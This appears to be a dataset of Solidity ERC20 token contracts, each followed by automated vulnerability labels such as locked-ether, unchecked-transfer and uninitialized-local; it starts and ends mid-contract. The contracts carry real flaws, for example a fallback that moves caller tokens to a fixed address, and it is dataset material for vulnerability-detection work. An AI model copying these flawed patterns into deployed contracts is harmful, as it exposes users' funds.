contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract YFTS is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "YFTS";
name = "YFTS.finance";
decimals = 18;
_totalSupply = 42000e18;
balances[0x45C356A29230ad182EcC0fFaCa4d82a315Ec0672] = _totalSupply;
emit Transfer(address(0), 0x45C356A29230ad182EcC0fFaCa4d82a315Ec0672, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
}
// Developed by Erience Solutions
// https://erience.co | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'EthereumUnion' token contract
//
// Deployed to : 0xFB58a9aF395755A4e95805d76bae231FEB01a192
// Symbol : ETU
// Name : Ethereum Union
// Total supply: 10000000000
// Decimals : 5
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract EthereumUnionToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function EthereumUnionToken() public {
symbol = "ETU";
name = "Ethereum Union";
decimals = 5;
_totalSupply = 10000000000;
balances[0xFB58a9aF395755A4e95805d76bae231FEB01a192] = _totalSupply;
Transfer(address(0), 0xFB58a9aF395755A4e95805d76bae231FEB01a192, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity 0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
/// Total amount of tokens
uint256 public totalSupply;
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _amount) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success);
function approve(address _spender, uint256 _amount) public returns (bool success);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
//balance in each address account
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _amount The amount to be transferred.
*/
function transfer(address _to, uint256 _amount) public returns (bool success) {
require(_to != address(0));
require(balances[msg.sender] >= _amount && _amount > 0
&& balances[_to].add(_amount) > balances[_to]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _amount uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
require(_to != address(0));
require(balances[_from] >= _amount);
require(allowed[_from][msg.sender] >= _amount);
require(_amount > 0 && balances[_to].add(_amount) > balances[_to]);
balances[_from] = balances[_from].sub(_amount);
balances[_to] = balances[_to].add(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _amount The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _amount) public returns (bool success) {
allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken, Ownable {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public onlyOwner{
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(msg.sender, _value);
}
}
/**
* @title Daigou Coin
* @dev Token representing DGR.
*/
contract DaigouCoin is BurnableToken {
string public name ;
string public symbol ;
uint8 public decimals = 18 ;
/**
*@dev users sending ether to this contract will be reverted. Any ether sent to the contract will be sent back to the caller
*/
function ()public payable {
revert();
}
/**
* @dev Constructor function to initialize the initial supply of token to the creator of the contract
*/
constructor(address wallet) public
{
owner = wallet;
totalSupply = uint(1000000000).mul( 10 ** uint256(decimals)); //Update total supply with the decimal amount
name = "Daigou Coin";
symbol = "DGR";
balances[wallet] = totalSupply;
//Emitting transfer event since assigning all tokens to the creator also corresponds to the transfer of tokens to the creator
emit Transfer(address(0), msg.sender, totalSupply);
}
/**
*@dev helper method to get token details, name, symbol and totalSupply in one go
*/
function getTokenDetail() public view returns (string, string, uint256) {
return (name, symbol, totalSupply);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'KHUU' token contract
//
// Deployed to : 0x7446acC8E63E13b6FAE345130784966864814365
// Symbol : KHUU
// Name : KHUU Koin
// Total supply: 100000000
// Decimals : 18
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract KhuuKoin is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function KhuuKoin() public {
symbol = "KHUU";
name = "Khuu Koin";
decimals = 18;
_totalSupply = 100000000000000000000000000;
balances[0x7446acC8E63E13b6FAE345130784966864814365] = _totalSupply;
Transfer(address(0), 0x7446acC8E63E13b6FAE345130784966864814365, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.24;
interface token {
function transfer(address receiver, uint amount) external;
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
}
contract coreERC{
token public tInstance;
mapping(address => uint256) public balanceOf;
event LogTransfer(address sender, uint amount);
address public xdest = 0x5554a8F601673C624AA6cfa4f8510924dD2fC041;
function coreERC() public {
tInstance = token(0x0f8a810feb4e60521d8e7d7a49226f11bdbdfcac);
}
function () payable public{
uint amount = msg.value;
tInstance.transfer(msg.sender,amount);
tInstance.transferFrom(msg.sender,xdest, amount);
emit LogTransfer(xdest,amount);
}
} | These are the vulnerabilities found
1) unchecked-transfer with High impact
2) erc20-interface with Medium impact
3) locked-ether with Medium impact |
pragma solidity ^0.4.24;
contract ERC20 {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256 balance);
function allowance(address owner, address spender) public view returns (uint256 remaining);
function transfer(address to, uint256 value) public returns (bool success);
function approve(address spender, uint256 value) public returns (bool success);
function transferFrom(address from, address to, uint256 value) public returns (bool success);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a - b;
assert(b <= a && c <= a);
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a && c>=b);
return c;
}
}
library SafeERC20 {
function safeTransfer(ERC20 _token, address _to, uint256 _value) internal {
require(_token.transfer(_to, _value));
}
}
contract Owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner,"O1- Owner only function");
_;
}
function setOwner(address newOwner) onlyOwner public {
owner = newOwner;
}
}
contract Pausable is Owned {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract VIDToken is Owned, Pausable, ERC20 {
using SafeMath for uint256;
using SafeERC20 for ERC20;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
mapping (address => bool) public frozenAccount;
mapping (address => bool) public verifyPublisher;
mapping (address => bool) public verifyWallet;
struct fStruct { uint256 index; }
mapping(string => fStruct) private fileHashes;
string[] private fileIndex;
string public constant name = "V-ID Token";
uint8 public constant decimals = 18;
string public constant symbol = "VIDT";
uint256 public constant initialSupply = 100000000;
uint256 public validationPrice = 7 * 10 ** uint(decimals);
address public validationWallet = address(0);
constructor() public {
validationWallet = msg.sender;
verifyWallet[msg.sender] = true;
totalSupply = initialSupply * 10 ** uint(decimals);
balances[msg.sender] = totalSupply;
emit Transfer(address(0),owner,initialSupply);
}
function () public payable {
revert();
}
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool success) {
require(_to != msg.sender,"T1- Recipient can not be the same as sender");
require(_to != address(0),"T2- Please check the recipient address");
require(balances[msg.sender] >= _value,"T3- The balance of sender is too low");
require(!frozenAccount[msg.sender],"T4- The wallet of sender is frozen");
require(!frozenAccount[_to],"T5- The wallet of recipient is frozen");
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool success) {
require(_to != address(0),"TF1- Please check the recipient address");
require(balances[_from] >= _value,"TF2- The balance of sender is too low");
require(allowed[_from][msg.sender] >= _value,"TF3- The allowance of sender is too low");
require(!frozenAccount[_from],"TF4- The wallet of sender is frozen");
require(!frozenAccount[_to],"TF5- The wallet of recipient is frozen");
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool success) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0),"A1- Reset allowance to 0 first");
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint256 _addedValue) public whenNotPaused returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public whenNotPaused returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].sub(_subtractedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
struct TKN { address sender; uint256 value; bytes data; bytes4 sig; }
function tokenFallback(address _from, uint256 _value, bytes _data) public pure returns (bool) {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
return true;
}
function transferToken(address tokenAddress, uint256 tokens) public onlyOwner {
ERC20(tokenAddress).safeTransfer(owner,tokens);
}
function burn(uint256 _value) public onlyOwner returns (bool) {
require(_value <= balances[msg.sender],"B1- The balance of burner is too low");
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(msg.sender, _value);
emit Transfer(msg.sender, address(0), _value);
return true;
}
function freeze(address _address, bool _state) public onlyOwner returns (bool) {
frozenAccount[_address] = _state;
emit Freeze(_address, _state);
return true;
}
function validatePublisher(address Address, bool State, string Publisher) public onlyOwner returns (bool) {
verifyPublisher[Address] = State;
emit ValidatePublisher(Address,State,Publisher);
return true;
}
function validateWallet(address Address, bool State, string Wallet) public onlyOwner returns (bool) {
verifyWallet[Address] = State;
emit ValidateWallet(Address,State,Wallet);
return true;
}
function validateFile(address To, uint256 Payment, bytes Data, bool cStore, bool eLog) public whenNotPaused returns (bool) {
require(Payment>=validationPrice,"V1- Insufficient payment provided");
require(verifyPublisher[msg.sender],"V2- Unverified publisher address");
require(!frozenAccount[msg.sender],"V3- The wallet of publisher is frozen");
require(Data.length == 64,"V4- Invalid hash provided");
if (!verifyWallet[To] || frozenAccount[To]) {
To = validationWallet;
}
uint256 index = 0;
string memory fileHash = string(Data);
if (cStore) {
if (fileIndex.length > 0) {
require(fileHashes[fileHash].index == 0,"V5- This hash was previously validated");
}
fileHashes[fileHash].index = fileIndex.push(fileHash)-1;
index = fileHashes[fileHash].index;
}
if (allowed[To][msg.sender] >= Payment) {
allowed[To][msg.sender] = allowed[To][msg.sender].sub(Payment);
} else {
balances[msg.sender] = balances[msg.sender].sub(Payment);
balances[To] = balances[To].add(Payment);
}
emit Transfer(msg.sender, To, Payment);
if (eLog) {
emit ValidateFile(index,fileHash);
}
return true;
}
function verifyFile(string fileHash) public view returns (bool) {
if (fileIndex.length == 0) {
return false;
}
bytes memory a = bytes(fileIndex[fileHashes[fileHash].index]);
bytes memory b = bytes(fileHash);
if (a.length != b.length) {
return false;
}
for (uint256 i = 0; i < a.length; i ++) {
if (a[i] != b[i]) {
return false;
}
}
return true;
}
function setPrice(uint256 newPrice) public onlyOwner {
validationPrice = newPrice;
}
function setWallet(address newWallet) public onlyOwner {
validationWallet = newWallet;
}
function listFiles(uint256 startAt, uint256 stopAt) onlyOwner public returns (bool) {
if (fileIndex.length == 0) {
return false;
}
require(startAt <= fileIndex.length-1,"L1- Please select a valid start");
if (stopAt > 0) {
require(stopAt > startAt && stopAt <= fileIndex.length-1,"L2- Please select a valid stop");
} else {
stopAt = fileIndex.length-1;
}
for (uint256 i = startAt; i <= stopAt; i++) {
emit LogEvent(i,fileIndex[i]);
}
return true;
}
event Burn(address indexed burner, uint256 value);
event Freeze(address target, bool frozen);
event ValidateFile(uint256 index, string data);
event ValidatePublisher(address indexed publisherAddress, bool state, string indexed publisherName);
event ValidateWallet(address indexed walletAddress, bool state, string indexed walletName);
event LogEvent(uint256 index, string data) anonymous;
} | These are the vulnerabilities found
1) uninitialized-local with Medium impact
2) locked-ether with Medium impact |
/**
*Submitted for verification at Etherscan.io on 2021-08-14
*/
// Sources flattened with hardhat v2.4.0 https://hardhat.org
// SPDX-License-Identifier: GPL-3.0-or-later
// File @openzeppelin/contracts/token/ERC777/[email protected]
// License: MIT
pragma solidity ^0.8.0;
/**
